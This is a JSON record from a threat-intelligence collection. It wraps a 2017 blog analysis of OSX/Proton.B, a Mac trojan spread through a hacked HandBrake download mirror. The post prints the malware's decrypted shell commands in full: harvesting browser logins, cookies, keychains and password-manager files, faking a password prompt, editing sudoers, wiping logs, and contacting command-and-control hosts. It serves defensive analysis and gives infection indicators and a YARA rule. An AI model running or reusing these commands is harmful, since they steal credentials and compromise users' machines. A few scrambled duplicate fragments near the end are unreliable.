{
	"id": "2f9daf17-2ec3-420e-ae2f-a57a05bd6392",
	"created_at": "2026-04-06T00:15:24.298162Z",
	"updated_at": "2026-04-10T13:11:27.083647Z",
	"deleted_at": null,
	"sha1_hash": "9b8033dd8d7b1f94aec42ccc965e68b8a2147018",
	"title": "OSX/Proton.B: A brief analysis, at 6 miles up",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2617725,
	"plain_text": "OSX/Proton.B: A brief analysis, at 6 miles up\r\nArchived: 2026-04-05 12:55:59 UTC\r\nOSX/Proton.B\r\n› a brief analysis, at 6 miles up\r\n5/10/2017\r\nlove these blog posts? support my tools \u0026 writing on patreon! Mahalo :)\r\nWant to play along? I've shared both the trojaned Handbrake disk image and OSX/Proton.B payload, which can be\r\ndownloaded here (password: infect3d).\r\nPlease don't infect yourself!\r\nBackground\r\nAs I'm sure you are now aware, a mirror server of the popular open-source video transcoder, HandBrake, was\r\nhacked. One goal of the hack was to infect macOS users by trojaning the legitimate HandBreak application with a\r\nnew variant of OSX/Proton.\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 1 of 18\n\nI recently blogged about how the app was trojaned and how the malware persistently installed itself: \"HandBrake\r\nHacked! OSX/Proton (re)Appears.\" However, due to timing constraints (and the fact that it was the weekend) I\r\ndidn't really dive into the technical details of the malware that much.\r\nNow though, I'm 'stuck' on a flight to Europe (en route to present at 'PostiveHack Days' in Moscow) - so have a\r\nmassive amount of free time. Moreover I received a bunch of email from the HandBrake developers, infected\r\nusers, and friends requesting more details on the malware.\r\nMost interestingly several users pinged me, stating that while they ran the infected Handbrake application, they\r\ndidn't seem to be persistently infected ... intriguing!\r\n\"Hi Patrick,\r\nI had downloaded [and ran] what turned out to be the infected DMG from the Handbrake site last week.\r\nTwo quick questions: I ran the steps and commands to remove the file, and had these results:\r\n'activity_agent' was not running in my Activity monitor\r\nI ran the Terminal commands from the HB team, which [failed] implying the launch agent plist file didn't\r\nexist\"\r\nWant to join me (virtually) at 11294 meters in the sky, as we dive into OSX/Proton.B?\r\nAnalysis\r\nLet's first start with the infected HandBrake.app that was distributed via a hacked mirror server of the legitimate\r\nHandbrake website (handbrake.fr):\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 2 of 18\n\nAs mentioned in the previous blog post, when run by the user the infected Handbrake application kicks off the\r\ninstall of OSX/Proton.B. Specifically it:\r\n1. unzips Contents/Resources/HBPlayerHUDMainController.nib to /tmp/HandBrake.app. This 'nib' is a\r\npassword protected zip file who's password is:\r\nqzyuzacCELFEYiJ52mhjEC7HYl4eUPAR1EEf63oQ5iTkuNIhzRk2JUKF4IXTRdiQ\r\n2. launches (opens) /tmp/HandBrake.app\r\nHow specifically does the malware do this?\r\nWhen an application is launched, its start() and then main() functions are executed. In applications, the main()\r\nfunction usually just calls the NSApplicationMain method:\r\nNSApplicationMain performs a variety of tasks including loading and initializing the application's principal class.\r\nIn order determine this class, it reads the application's Info.plist file. More specifically it reads the value of the\r\n'NSPrincipalClass' key. If we dump the Info.plist file of the trojaned HandBrake application, it's easy to see its\r\nprincipal class is 'HBApplication':\r\n$ less HandBrake.app/Contents/Info.plist | grep -A 1 Class\r\n\u003ckey\u003eNSPrincipalClass\u003c/key\u003e\r\n\u003cstring\u003eHBApplication\u003c/string\u003e\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 3 of 18\n\nFor more info on the macOS application startup process, see the wonderful (albeit slightly dated) article:\r\n\"Demystifying NSApplication by recreating it.\"\r\nSo typically, Objective-C objects are created via a call to alloc and then init:\r\n//instantiate object\r\nid someObj = [SomeObj alloc] init];\r\nIf we peak at HBApplication's init method some new (malicious) code has been added:\r\n//-[HBApplication init]\r\n//decode string\r\nr14 = [_DWOI(\u0026var_A0, 0x2d) retain];\r\n//execute decoded string\r\nrbx = [[r13 comrad:r14] retain];\r\nThe DWOI function decodes a passed in string:\r\nWhile the [HBApplication comrad:] executes a task via \"/bin/sh -c\":\r\nint -[HBAppDelegate comrad:]() {\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 4 of 18\n\nrax = [NSPipe pipe];\r\n var_38 = [[rax fileHandleForReading] retain];\r\n r14 = [[NSTask alloc] init];\r\n [r14 setStandardOutput:rax];\r\n [r14 setStandardError:rax];\r\n [r14 setLaunchPath:@\"/bin/sh\"];\r\n r12 = [NSArray arrayWithObjects:@\"-c\", rbx, 0x0];\r\n [r14 setArguments:rbx];\r\n [r14 launch];\r\n [r14 waitUntilExit];\r\n rbx = [[var_38 readDataToEndOfFile] retain];\r\n rax = [[NSString alloc] initWithData:rbx encoding:0x4];\r\n return rax;\r\n}\r\nIf we break on this code in a debugger, we can dump the string that is decoded and executed:\r\nb -[HBAppDelegate comrad:]\r\nBreakpoint 1: where = HandBrake'-[HBAppDelegate comrad:], address = 0x0000000100029625\r\n(lldb) po $rdi\r\n\u003cHBAppDelegate: 0x102513e30\u003e\r\n(lldb) x/s $rsi\r\n0x100042aaf: \"comrad:\"\r\n(lldb) po $rdx pgrep -x activity_agent \u0026\u0026 echo Queue.hbqueue\r\nThe pgrep -x activity_agent \u0026\u0026 echo Queue.hbqueue command will echo 'Queue.hbqueue' if and only if\r\n'activity_agent' is found in the process list. In other words, this is how the malware installer checks if the\r\npersistent component (OSX/Proton.B) has already been installed and executed!\r\nAssuming OSX/Proton.B is not found. executing the trojaned HandBrake application then decodes and executes\r\nthe following command:\r\nunzip -P qzyuzacCELFEYiJ52mhjEC7HYl4eUPAR1EEf63oQ5iTkuNIhzRk2JUKF4IXTRdiQ\r\n/Users/user/Desktop/HandBrake.app/Contents/Resources/HBPlayerHUDMainController.nib -d /tmp; xattr -c\r\n/tmp/HandBrake.app; open /tmp/HandBrake.app;\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 5 of 18\n\nAs previously mentioned, this will decrypt OSX/Proton.B from HBPlayerHUDMainController.nib and execute it!\r\nOnce this malicious logic has been executed, the trojaned HandBrake application continues execution of the\r\nnormal video transcoding logic so that the user is none the wiser.\r\nTo analyze OSX/Proton.B, we can grab the dropped binary (from\r\n/tmp/HandBrake.app/Contents/MacOS/HandBrake and load it into a disassembler, as well as instruct the debugger\r\nto automatically attach to it when OSX/Proton.B is launched (via the debugger's '--waitfor' command line\r\nargument):\r\n(lldb) process attach --name HandBrake --waitfor\r\nProcess 486 stopped\r\n* thread #1, stop reason = signal SIGSTOP\r\nframe #0: libsystem_c.dylib`__atexit_init\r\n-\u003e 0x7fffad3ffe27 \u003c+0\u003e: movq 0x8e5d22a(%rip), %rdi\r\n 0x7fffad3ffe2e \u003c+7\u003e: cmpq $-0x1, 0x20(%rdi)\r\n 0x7fffad3ffe33 \u003c+12\u003e: jne 0x7fffad3ffe41\r\n 0x7fffad3ffe35 \u003c+14\u003e: movq 0x28(%rdi), %rax\r\nExecutable module set to \"/tmp/HandBrake.app/Contents/MacOS/HandBrake\".\r\nArchitecture set to: x86_64h-apple-macosx.\r\nThe first thing to notice is that OSX/Proton.B contains some (basic) anti-debugging logic:\r\nrbx = dlopen(0x0, 0xa);\r\n(dlsym(rbx, \"ptrace\"))(0x1f, 0x0, 0x0, 0x0);\r\ndlclose(rbx);\r\nThis anti-debugging logic is well-known, as it's even documented in Apple's man page for ptrace:\r\nman ptrace\r\nPTRACE(2)\r\nNAME\r\nptrace -- process tracing and debugging\r\n...\r\nPT_DENY_ATTACH\r\n This request is the other operation used by the traced process; it allows a process that\r\n is not currently being traced to deny future traces by its parent. All other arguments\r\n are ignored. If the process is currently being traced, it will exit with the exit status\r\n of ENOTSUP; otherwise, it sets a flag that denies future traces. An attempt by the parent\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 6 of 18\n\nto trace a process which has set this flag will result in a segmentation violation in\r\n the parent.\r\nIn short, PT_DENY_ATTACH (0x1F), once executed prevents a user-mode debugger from attaching to the\r\nprocess. However, since lldb is already attached to the process (thanks to the --waitfor argument),we can neatly\r\nsidestep this. How? Set a breakpoint on pthread then simply execute a 'thread return' command. This tells the\r\ndebugging to stop executing the code within the function and execute a return command to 'exit' to the caller.\r\nNeat!\r\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1\r\nframe #0: 0x00007fffad499d80 libsystem_kernel.dylib`__ptrace\r\n(lldb) thread return\r\nWith the anti-debugging logic out of the way, we can debug to our heart's content!\r\nThe first thing OSX/Proton.B does (well after calling ptrace(..., 'PT_DENY_ATTACH')), is decode a bunch of\r\nstrings that turn out to be the addresses of its command and control servers:\r\nhandbrake.cc\r\nhandbrake.biz\r\nls.handbrake.biz\r\nhandbrake.biz:8443\r\nInterestingly the string decoding method (at address 000000010001E6F7) appears to be similar (identical?) to the\r\nDWOI function in the malware's installer (the trojaned HandBrake.app). This indicates that the hackers may have\r\nhad access to the OSX/Proton.B source code. This wouldn't be that interesting, save for the fact that\r\nOSX/Proton.A was offered for sale (see: \"Hackers Selling Undetectable Proton Malware for macOS in 40 BTC\").\r\nDoes this mean the hacker's purchased OSX/Proton.A (including its source code)? Or are the hackers that hit\r\nHandBrake the same ones who created OSX/Proton? Who knows...\r\nMoving on, once the command and control servers have be decoded, the malware decodes a few more strings\r\nincluding: 'activity_agent' and 'fr.handbrake.activity_agent' As mentioned in the previous blog, OSX/Proton.B\r\npersistently installs itself as launch agent (plist: fr.handbrake.activity_agent, name activity_agent):\r\n$ cat fr.handbrake.activity_agent\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003c!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\"\u003e\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 7 of 18\n\nKeepAlive ... ProgramArguments/Users/user/Library/RenderFiles/activity_agent.app/\n Contents/MacOS/activity_agentRunAtLoad Next, OSX/Proton.B somewhat 'stealthily' builds a path to an encrypted file named '.hash' in its resources\ndirectory (/tmp/HandBrake.app/Contents/Resources/.hash).\n//path: /tmp/HandBrake.app/Contents/Resources/.hash\nrbx = [NSString stringWithFormat:@\"%@/%@%@%@%@%@\", r13, @\".\", r9, @\"a\", @\"s\", @\"h\"];\nThis file is loaded into memory and then decrypted via a call to [RNDecryptor decryptData:withPassword:error:].\nThe decryption password is '9fe4a0c3b63203f096ef65dc98754243979d6bd58fe835482b969aabaaec57e':\nProcess 486 stopped\n* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over\nHandBrake`___lldb_unnamed_symbol521$$HandBrake:\n-\u003e 0x100017583 \u003c+259\u003e: callq *%r15\n0x100017586 \u003c+262\u003e: movq %rax, %rdi\n0x100017589 \u003c+265\u003e: callq 0x100049dae\n0x10001758e \u003c+270\u003e: movq %rax, %r13\n(lldb) po $rdi\nRNDecryptor\n(lldb) x/s $rsi\n0x10004db2b: \"decryptData:withPassword:error:\"\n(lldb) po $rcx\n9fe4a0c3b63203f096ef65dc98754243979d6bd58fe835482b969aabaaec57e\nhttps://objective-see.com/blog/blog_0x1F.html\nPage 8 of 18\n\nAnd what is in this encrypted file? A massive list of commands and configuration values. Jackpot!\r\nif [ -f %@/.crd ]; then cat %@/.crd; else echo failure; fi,\r\nif [ -f %@/.ptrun ]; then echo success; fi,\r\ntouch %@/.ptrun;,\r\ncurl,\r\nhttps://%@/kukpxx8lnldxvbma8c4xqtar/auth?B=%@\u0026U=%@\u0026S=%@,\r\necho '%@' | sudo -S echo success;,\r\nrm -rf %@/%@.app %@;,\r\nrm -rf ~/Library/LaunchAgents/%@*; ,\r\ncurl %@ -o %@ \u0026\u0026 sudo chmod 777 %@;,\r\nHandBrake needs to install additional codecs. Enter your password to allow this.,\r\nscreencapture -x %@/scr%@.png,\r\nhttps://%@/api/upload,\r\n%@/scr%@.png,\r\nyyyy-MM-dd HH:mm:ss zzz,\r\nping -c 1 %@ 2\u003e/dev/null \u003e/dev/null \u0026\u0026 echo 0,\r\n%@.app,\r\ncat %@/.crd,\r\nif [ -f %@/.bcrd ]; then cat %@/.bcrd; else echo failure; fi,\r\necho '%@:%@:%@' \u003e %@/.crd; ,\r\necho 'printf \"\\033[8;1;1t\"; echo \"%@\" | sudo -S sh -c \"echo 'Defaults !tty_tickets' \u003e\u003e /etc/sudoers\"; killall\r\nTerminal; sleep 1;' \u003e ~/Library/sco.command; chmod 777 ~/Library/sco.command; open ~/Library/sco.command\r\n\u0026\u0026 sleep 2.7; rm -rf ~/Library/sco.command;,\r\necho '%@:%@:%@' \u003e %@/.crd,\r\nAKADOMEDO,\r\nCFBundleExecutable,\r\n@%@/proton.zip,\r\n/bin/sh,\r\nhttps://%@,\r\n-c,\r\na%@=`curl -s ,\r\napi_key=%@\u0026cts=%@%@,\r\n-F api_key=%@ -F cts=%@ -F signature=%@ https://%@/api/%@`; echo $a%@;,\r\necho '%@' | sudo -S rm -rf %@ %@/*.zip,\r\ncat %@/.crd,\r\nhcresult=`curl -s --connect-timeout 10 %@` \u0026\u0026 echo $hcresult;,\r\ntype,\r\nname,\r\npath,\r\nsize,\r\ncreation_date,\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 9 of 18\n\nmodification_date,\r\nfolders,\r\nfiles,\r\ntotal_folders,\r\ntotal_files,\r\nfolder,\r\n--,\r\nrm -rf %@,\r\n%@/.str.txt,\r\n-O -J https://%@,\r\n0aaf7a0da92119ccf0ba,\r\n%@/.tmpdata,\r\nexpiration_date,\r\ngrace_period,\r\nos_version,\r\nchecksum,\r\n%@/.hash,\r\ncodesign -dv %@,\r\nVOID,\r\ncd %@; curl,\r\nhcresult=`curl -sL\r\nhttps://script.google.com/macros/s/AKfycbyd5AcbAnWi2Yn0xhFRbyzS4qMq1VucMVgVvhul5XqS9HkAyJY/exec`\r\n\u0026\u0026 echo $hcresult;, zip %@/CR.zip ~/Library/Application\\ Support/Google/Chrome/Profile\\ 1/Login\\ Data\r\n~/Library/Application\\ Support/Google/Chrome/Profile\\ 1/Cookies ~/Library/Application\\\r\nSupport/Google/Chrome/Profile\\ 1/Bookmarks ~/Library/Application\\ Support/Google/Chrome/Profile\\ 1/History\r\n~/Library/Application\\ Support/Google/Chrome/Profile\\ 1/Web\\ Data; zip %@/CR_def.zip ~/Library/Application\\\r\nSupport/Google/Chrome/Default/Login\\ Data ~/Library/Application\\ Support/Google/Chrome/Default/Cookies\r\n~/Library/Application\\ Support/Google/Chrome/Default/Bookmarks ~/Library/Application\\\r\nSupport/Google/Chrome/Default/History ~/Library/Application\\ Support/Google/Chrome/Default/Web\\ Data; ,\r\nzip -r %@/FF.zip ~/Library/Application\\ Support/Firefox/$(sh %@/mozilla.sh)/cookies.sqlite\r\n~/Library/Application\\ Support/Firefox/$(sh %@/mozilla.sh)/formhistory.sqlite ~/Library/Application\\\r\nSupport/Firefox/$(sh %@/mozilla.sh)/logins.json ~/Library/Application\\ Support/Firefox/$(sh\r\n%@/mozilla.sh)/logins.json; ,\r\nzip -r %@/SF.zip ~/Library/Cookies ~/Library/Safari/Form\\ Values; ,\r\nzip -r %@/OP.zip ~/Library/Application\\ Support/com.operasoftware.Opera/Login\\ Data ~/Library/Application\\\r\nSupport/com.operasoftware.Opera/Cookies ~/Library/Application\\ Support/com.operasoftware.Opera/Web\\ Data;\r\n,\r\nkillall Console; killall Wireshark; rm -rf %@; ,\r\nmkdir -p %@ %@ ~/Library/LaunchAgents/; chmod -R 777 %@ %@; zip -r %@/KC.zip ~/Library/Keychains/\r\n/Library/Keychains/; %@ %@ %@ %@ zip -r %@/GNU_PW.zip ~/.gnupg ~/Library/Application\\\r\nSupport/1Password\\ 4 ~/Library/Application\\ Support/1Password\\ 3.9; zip -r %@/proton.zip %@; %@ echo\r\nsuccess; , cp -R %@ %@/%@; mv %@/%@/Contents/MacOS/%@ %@/%@/Contents/MacOS/%@; mv\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 10 of 18\n\n%@/%@/Contents/Resources/Info_.plist %@/%@/Contents/Info.plist; mv\r\n%@/%@/Contents/Resources/%@.plist ~/Library/LaunchAgents/%@.plist; echo success; ,\r\nsed -i -e 's/P_MBN/%@/g' ~/Library/LaunchAgents/%@.plist; sed -i -e\r\n's=P_UPTH=%@/%@/Contents/MacOS/%@=g' ~/Library/LaunchAgents/%@.plist; chmod 644\r\n~/Library/LaunchAgents/%@.plist; codesign --remove-signature %@/%@; rm -rf %@/%@/Ic*; launchctl load\r\n~/Library/LaunchAgents/%@.plist; %@ ,\r\nACTION,\r\nCONSOLE,\r\nFM,\r\nPROC,\r\nSSH_DID_CONNECT,\r\nSSH_DID_TERMINATE,\r\nclsock,\r\n_STROKES,\r\nscreencam,\r\nexec_pointer,\r\nssh_bind_port,\r\nprocs,\r\ntotal_procs,\r\nSSH_DID_NOT_CONNECT,\r\n/Library/Extensions/LittleSnitch.kext,\r\n/Library/Extensions/Radio Silence.kext,\r\n/Library/Extensions/HandsOff.kext,\r\n%@/.tmpdata,\r\n%@/updated.license,\r\nlicense_enforce,\r\nmv %@ %@,\r\nhandbrakestore.com,\r\nhandbrake.cc,\r\nluwenxdsnhgfxckcjgxvtugj.com,\r\n6gmvshjdfpfbeqktpsde5xav.com,\r\nkjfnbfhu7ndudgzhxpwnnqkc.com,\r\nyaxw8dsbttpwrwlq3h6uc9eq.com,\r\nqrtfvfysk4bdcwwwe9pxmqe9.com,\r\nfyamakgtrrjt9vrwhmc76v38.com,\r\nkcdjzquvhsua6hlfbmjzkzsb.com,\r\nypu4vwlenkpt29f95etrqllq.com,\r\nnc -G 20 -z 8.8.8.8 53 \u003e/dev/null 2\u003e\u00261 \u0026\u0026 echo success,\r\necho '%@' \u003e /tmp/public.pem; openssl rsautl -verify -in %@/.tmpdata -pubin -inkey /tmp/public.pem,\r\na90=`curl -s --connect-timeout 10 -o /tmp/au https://%@/rsa` \u0026\u0026 echo \u0026\u0026 echo '%@' \u003e /tmp/au.pub \u0026\u0026 echo\r\nsuccess,\r\nopenssl rsautl -verify -in /tmp/au -pubin -inkey /tmp/au.pub,\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 11 of 18\n\nrm -rf /tmp/*,\r\nsudo -k; echo '%@' | sudo -S rm -rf /var/log/* /Library/Logs/* \u0026\u0026 echo success;,\r\nmv %@/.crd %@/.bcrd,\r\nsudo -k\r\nWell this makes analysis rather easy ;) We're not going to walk thru all of these, but let's cover a few of the more\r\ninteresting items in this this list.\r\nThe first items from this list that the malware extracts and utilizes are the following paths:\r\n/Library/Extensions/LittleSnitch.kext\r\n/Library/Extensions/Radio Silence.kext\r\n/Library/Extensions/HandsOff.kext\r\nFor each of these paths, it checks if they exist on disk, and if so, the malware immediately exits!\r\n//0x51: 'LittleSnitch.kext'\r\nrax = [*0x10006c4a0 objectAtIndexedSubscript:0x51];\r\nrdx = rax;\r\nif ([rbx fileExistsAtPath:rdx] != 0x0) goto fileExists;\r\nfileExists:\r\n rax = exit(0x0);\r\n return rax;\r\nThese of course are macOS security products (firewalls) which would alert the user to the presence of the malware\r\nwhen it attempts to call out to connect to its command and control server(s). Seems like the malware would\r\nsimply exit, rather than risking detection.\r\nAh! Could this be why various users, who had ran the infected Handbrake application were not infected? Why\r\nyes! Turns out all had been running Little Snitch. Lucky for them :)\r\nAssuming no firewall products are detected the malware performs what appears to some verification on itself. (As\r\nnoted by my friend 0xamit, this is 'license' check). Specifically, the malware executes \"/bin/sh\" with the follwing\r\narguments (in $RDX):\r\n(lldb) po $rdx\r\n\u003c__NSArrayI 0x608000020560\u003e(\r\n-c,\r\necho '-----BEGIN PUBLIC KEY-----\r\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUP19DdW2NlkkdovqqwF\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 12 of 18\n\n+r3sBaamka42zVMGa+COUCIysrVhVJIv4nmc57TLxgG8dsg+G0o0NQ75n898b04l\r\nYGve3gXGWJ8Y5OTJ16+RA4OtKAiO8v7qEGnQ/QpSzrLZPU3Yd60bAltYSvCCiOdB\r\nOKhOAiag0H39F2k5ea4zxt6TNDksW/o3+HcjzA4yy+C1tp2Cr4X37O5XMVZPWpMk\r\nsIXPazh91tr0TJ2VFyx4btnDPajeOzhcKUA05Wrw+hagAZnFU9Bajx3KvdTlxsVx\r\nLmRc5r3IqDAsXTHH1jpmWMDiC9IGLDFPrN6NffAwjgSmsKhi1SC8yFHh0oPCswRh\r\nrQIDAQAB\r\n-----END PUBLIC KEY-----' \u003e /tmp/public.pem; openssl rsautl -verify -in\r\n/tmp/HandBrake.app/Contents/Resources/.tmpdata -pubin -inkey /tmp/\r\npublic.pem\r\n)\r\n(lldb) po $rax\r\n{\r\n  \"bundle_name\" = chameleo;\r\n  \"checksum\" = 128814f2b057aef1dd3e00f3749aed2a81e5ed03737311f2b1faab4ab2e6e2fe;\r\n  \"expiration_date\" = \"2017-05-10 23:59:59 +0000\";\r\n  \"grace_period\" = 25;\r\n  \"os_version\" = \"10.x\";\r\n}\r\nIt compares this 'checksum' value (128814f2b057aef1dd3e00f3749aed2a81e5ed03737311f2b1faab4ab2e6e2fe)\r\nwith a value that it extracts from the encrypted .hash file. If these match the, malware is 'licensed' and will\r\ncontinues executing via a call to NSApplicationMain. Otherwise it bails with a call to exit():\r\nr14 = [[*0x10006c4a8 objectAtIndexedSubscript:0x3] retain];\r\nrbx = [[NSString stringWithCString:\u0026var_80 encoding:0x4] retain];\r\nr15 = [r14 isNotEqualTo:rbx];\r\nif (r15 == 0x0) {\r\n  rax = NSApplicationMain(var_A4, var_A0);\r\n}\r\nelse {\r\n  rax = exit(0x0);\r\n}\r\nOnce the NSApplicationMain method has been invoked, the macOS application runtime will automatically invoke\r\nthe 'applicationDidFinishLaunching' delegate method. In OSX/Proton.B this method is implemented at\r\n0x10001ED50 This is where the malware continues execution.\r\nHere, it starts executing various commands that are embedded in the encrypted .hash file. For example it checks if\r\nit is connected to the internet by pinging Google's DNS server:\r\nnc -G 20 -z 8.8.8.8 53 \u003e/dev/null 2\u003e\u00261 \u0026\u0026 echo success\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 13 of 18\n\nIt also executes a script, hosted at: https://script.google.com/macros/s/\r\nAKfycbyd5AcbAnWi2Yn0xhFRbyzS4qMq1VucMVgVvhul5XqS9HkAyJY/exec. This script appears to simply\r\nreturn the current date and time?\r\nIn order to elevate its privileges to root, the malware displays a fake authentication prompt using strings, again\r\nfrom the encrypted .hash file (such as \"HandBrake needs to install additional codecs. Enter your password to\r\nallow this\"):\r\nThe class that implements this window is aptly named 'AuthorizationWindow':\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 14 of 18\n\nIf the user is tricked into entering their password, the malware 'validates' the credentials via the following:\r\necho 'p@ss0wrd' | sudo -S echo success;\r\nOnce it has obtained root, (thanks to a naive user), the malware executes the following:\r\necho 'printf \"\\033[8;1;1t\"; echo \"%@\" | sudo -S sh -c \"echo 'Defaults !tty_tickets' \u003e\u003e /etc/sudoers\"; killall\r\nTerminal; sleep 1;' \u003e ~/Library/sco.command; chmod 777 ~/Library/sco.command; open ~/Library/sco.command\r\n\u0026\u0026 sleep 2.7; rm -rf ~/Library/sco.command;\r\nAs part of this command (killall Terminal) will kill all instances of the Terminal (including the one we are using to\r\ndebug the malware), execute the 'thread return' command in the debugger on the function at\r\n0x0000000100014EB0, to skip these commands from being run.\r\nNext the malware downloads an RSA key from its command and control server(s) and verifies it via a public key\r\nthat is embedded within the malware:\r\ncurl -s --connect-timeout 10 -o /tmp/au https://handbrake.biz/rsa\r\nopenssl rsautl -verify -in /tmp/au -pubin -inkey /tmp/au.pub\r\nThen, it starts pinging its various command and control servers:\r\nping -c 1 handbrake.biz 2\u003e/dev/null \u003e/dev/null \u0026\u0026 echo 0\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 15 of 18\n\nping -c 1 handbrakestore.com 2\u003e/dev/null \u003e/dev/null \u0026\u0026 echo 0\r\nping -c 1 handbrake.cc 2\u003e/dev/null \u003e/dev/null \u0026\u0026 echo 0\r\n...\r\nDuring my analysis, the malware didn't appear to be too happy chatting with the various command and control\r\nservers. Maybe it doesn't like being this high up :P or more likely these C\u0026C servers are sinkholed this point. As\r\nsuch, I didn't observe the malware executing the other commands found in the encrypted 'tasking' file ('.hash').\r\nHowever, since the commands are simply shell commands that we've decrypted, it's easy to understand the\r\nmalware's full capabilities.\r\nFor example, OSX/Proton.B has commands to:\r\n'complicate' analysis by killing apps such as the Console, or Wireshark and wiping (some) system logs:\r\nkillall Console\r\nkillall Wireshark\r\nsudo -S rm -rf /var/log/* /Library/Logs/*\r\npersist itself (as a launch agent):\r\nsed -i -e 's/P_MBN/%@/g' ~/Library/LaunchAgents/%@.plist; sed -i -e\r\n's=P_UPTH=%@/%@/Contents/MacOS/%@=g' ~/Library/LaunchAgents/%@.plist; chmod 644\r\n~/Library/LaunchAgents/%@.plist\r\ncollect and exfiltrate sensitive user data such as 1Password files, browser login data, keychains, etc:\r\nzip %@/CR.zip ~/Library/Application\\ Support/Google/Chrome/Profile\\ 1/Login\\ Data\r\n~/Library/Application\\ Support/Google/Chrome/Profile\\ 1/Cookies\r\nzip -r %@/KC.zip ~/Library/Keychains/ /Library/Keychains/; %@ %@ %@ %@ zip -r %@/GNU_PW.zip\r\n~/.gnupg ~/Library/Application\\ Support/1Password\\ 4 ~/Library/Application\\ Support/1Password\\ 3.9; zip\r\n-r %@/proton.zip %@; %@ echo success\r\n...and much more!\r\nIf you're interested in another solid technical analysis of OSX/Proton.B, see: \"Proton.B: What this Mac malware\r\nactually does\" (by 0xamit).\r\nConclusions\r\nWell, my flight is about to land! So let's wrap this all up.\r\nIn this post we dug into the technical details of how OSX/Proton.B is installed via a trojaned HandBrake\r\napplication. We also uncovered the malware's capabilities, such as its propensity for sensitive user data. Moreover,\r\nwe answered the question why users with Little Snitch, remained uninfected. Neat!\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 16 of 18\n\nAgain, to check if you're infected, look for the following:\r\na process named 'activity_agent', or Handbrake (that's running out of (/tmp)\r\nan application name 'activity_agent.app in ~/Library/RenderFiles/\r\na plist file: '~/Library/LaunchAgents/fr.handbrake.activity_agent.plist\r\nIf you have been infected - it's best fully reinstall macOS via the 'macOS Recovery OS', and change all your\r\npasswords.\r\nAs mentioned in the last blog post, Apple has also pushed out an XProtect signature, meaning that all new\r\ninfections should be thwarted:\r\n$ cat /System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.yara\r\nprivate rule Macho\r\n{\r\n  meta:\r\n  description = \"private rule to match Mach-O binaries\"\r\n  condition:\r\n  uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf\r\n  or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca\r\n}\r\nrule XProtect_OSX_Proton_B\r\n{\r\n  meta:\r\n  description = \"OSX.Proton.B\"\r\n  condition:\r\n  Macho and filesize \u003c 800000 and hash.sha1(0, filesize) ==\r\n    \"a8ea82ee767091098b0e275a80d25d3bc79e0cea\"\r\n}\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 17 of 18\n\nFinally, running a security product such as Little Snitch or BlockBlock is a must!\r\nlove these blog posts? support my tools \u0026 writing on patreon! Mahalo :)\r\np.s. shout out to all the guys/gals on #macadmins!\r\nSource: https://objective-see.com/blog/blog_0x1F.html\r\nhttps://objective-see.com/blog/blog_0x1F.html\r\nPage 18 of 18\n\nHere, it starts it is connected executing various to the internet commands that by pinging Google's are embedded DNS server: in the encrypted .hash file. For example it checks if\nnc-G 20-z 8.8.8.8 53 \u003e/dev/null 2\u003e\u00261 \u0026\u0026 echo success\n   Page 13 of 18\n\nopenssl rsautl Then, it starts -verify -in /tmp/au pinging its various -pubin -inkey command /tmp/au.pub and control servers:\nping-c 1 handbrake.biz 2\u003e/dev/null \u003e/dev/null \u0026\u0026 echo 0\n   Page 15 of 18",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x1F.html"
	],
	"report_names": [
		"blog_0x1F.html"
	],
	"threat_actors": [
		{
			"id": "42a6a29d-6b98-4fd6-a742-a45a0306c7b0",
			"created_at": "2022-10-25T15:50:23.710403Z",
			"updated_at": "2026-04-10T02:00:05.281246Z",
			"deleted_at": null,
			"main_name": "Silence",
			"aliases": [
				"Whisper Spider"
			],
			"source_name": "MITRE:Silence",
			"tools": [
				"Winexe",
				"SDelete"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "eb5915d6-49a0-464d-9e4e-e1e2d3d31bc7",
			"created_at": "2025-03-29T02:05:20.764715Z",
			"updated_at": "2026-04-10T02:00:03.851829Z",
			"deleted_at": null,
			"main_name": "GOLD WYMAN",
			"aliases": [
				"Silence "
			],
			"source_name": "Secureworks:GOLD WYMAN",
			"tools": [
				"Silence"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "88e53203-891a-46f8-9ced-81d874a271c4",
